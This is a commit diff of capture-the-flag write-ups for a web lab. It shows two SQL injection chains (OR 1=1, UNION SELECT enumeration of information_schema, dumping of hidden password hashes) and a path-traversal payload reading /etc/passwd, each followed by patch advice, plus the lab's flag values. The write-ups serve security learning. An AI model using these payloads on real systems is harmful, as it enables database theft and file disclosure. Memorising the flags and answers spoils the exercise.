+ | Some readme flags

Images_sql_injection/README.md

@@ -0,0 +1,44 @@
+# SQL Injection to Retrieve the Flag
+
+## How We Found It  
+The vulnerable page was:  
+`http://10.12.248.148/?page=searchimg`  
+It asked for an image ID and displayed the corresponding title and url. We guessed that the backend was using a SQL query like:  
+```sql
+SELECT title, url FROM list_images WHERE id = $user_input;
+```
+
+Since the user input wasn’t sanitized, we tried injecting:
+```sql
+1 OR 1=1
+```
+Which made the `WHERE` clause always true and listed all images. That’s when we noticed a suspicious image titled "Hack me ?".
+
+We then injected another query to list all columns in the list_images table, something like:
+
+```sql
+1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=CHAR(108, 105, 115, 116, 95, 105, 109, 97, 103, 101, 115)
+```
+
+Here we can use the `UNION` to show totally different sql result from the hardcoded one in the remote machine. We also needed to add a `, NULL` because both `SELECT` of an `UNION` needs to have the same amount of columns shown.
+
+Among the columns, we found `comment`. So we targeted the image with `title='Hack me ?'` and dumped their comment.
+
+Final SQL Payload:
+```sql
+1 UNION SELECT title, comment FROM list_images WHERE id=5
+```
+
+Here’s what we got:
+
+- **Comment**: If you read this just use this md5 decode lowercase then sha256 to win this flag ! : 1928e8083cf461a51303633093573c46
+
+We followed the instructions, decrypted the password, lowercased it, hashed it with SHA256… and boom: we got the flag.
+
+## Utility of It
+
+SQL injection is extremely dangerous in real-world apps. It can let attackers access, modify, or delete database content. In our case, we used it to explore the DB structure and steal sensitive info (the flag), but in the wild, it could mean full data leaks or even remote code execution.
+
+## How Can We Patch It
+
+Never trust user input. Always use prepared statements or parameterized queries, and validate the type and format of incoming data. Don’t build SQL queries by directly concatenating user-provided values.

Images_sql_injection/flag

@@ -0,0 +1 @@
+f2a29020ef3132e01dd61df97fd33ec8d7fcd1388cc9601e7db691d17d4d6188

LFI/README.md

@@ -0,0 +1,14 @@
+# Local File Inclusion to Get the Flag
+
+## How We Found It  
+There was a Local File Inclusion (LFI) vulnerability in the `page` parameter. By messing with the URL and using a bunch of `../`, we can directly go at the root 
+of the machine and manage to access `/etc/passwd`.
+The flag was hidden in that file and popped up in an alert when we accessed it with the payload:
+```
+http://10.12.248.148/?page=../../../../../../../../../../../../../../../../../../../../etc/passwd`
+```
+## Utility of It  
+LFI is actually a serious vulnerability in real-world applications. It can let attackers read sensitive files on the server (like config files, database credentials, or even source code), and sometimes it can be chained with other exploits to get full system access.
+
+## How Can We Patch It  
+Make sure to sanitize user input and avoid directly including files based on URL parameters. Only allow expected, whitelisted files to be loaded.

LFI/flag

@@ -0,0 +1 @@
+b12c4b2cb8094750ae121a676269aa9e2872d07c06e429d25a63196ec1c8c1d0

Members_sql_injection/README.md

@@ -0,0 +1,46 @@
+# SQL Injection to Retrieve the Flag
+
+## How We Found It  
+The vulnerable page was:  
+`http://10.12.248.148/?page=member`  
+It asked for a member ID and displayed the corresponding first name and surname. We guessed that the backend was using a SQL query like:  
+```sql
+SELECT firstname, surname FROM users WHERE id = $user_input;
+```
+
+Since the user input wasn’t sanitized, we tried injecting:
+```sql
+1 OR 1=1
+```
+Which made the `WHERE` clause always true and listed all users. That’s when we noticed a suspicious user called Get the flag”.
+
+We then injected another query to list all columns in the users table, something like:
+
+```sql
+1 UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=CHAR(117, 115, 101, 114, 115)
+```
+
+Here we can use the `UNION` to show totally different sql result from the hardcoded one in the remote machine. We also needed to add a `, NULL` because both `SELECT` of an `UNION` needs to have the same amount of columns shown.
+
+Among the columns, we found `commentaire` and `countersign`. So we targeted the user with `firstname='flag'` and dumped their commentaire and countersign.
+
+Final SQL Payload:
+```sql
+1 UNION SELECT Commentaire, countersign FROM users WHERE first_name=CHAR(70,108,97,103) 
+```
+
+Here’s what we got:
+
+- **Commentaire**: Decrypt this password -> then lower all the char. Sh256 on it and it's good !
+
+- **Countersign**: 5ff9d0165b4f92b14994e5c685cdce28
+
+We followed the instructions, decrypted the password, lowercased it, hashed it with SHA256… and boom: we got the flag.
+
+## Utility of It
+
+SQL injection is extremely dangerous in real-world apps. It can let attackers access, modify, or delete database content. In our case, we used it to explore the DB structure and steal sensitive info (the flag), but in the wild, it could mean full data leaks or even remote code execution.
+
+## How Can We Patch It
+
+Never trust user input. Always use prepared statements or parameterized queries, and validate the type and format of incoming data. Don’t build SQL queries by directly concatenating user-provided values.

Members_sql_injection/flag

@@ -0,0 +1 @@
+10a16d834f9b1e4068b25c4c46fe0284e99e44dceaf08098fc83925ba6310ff5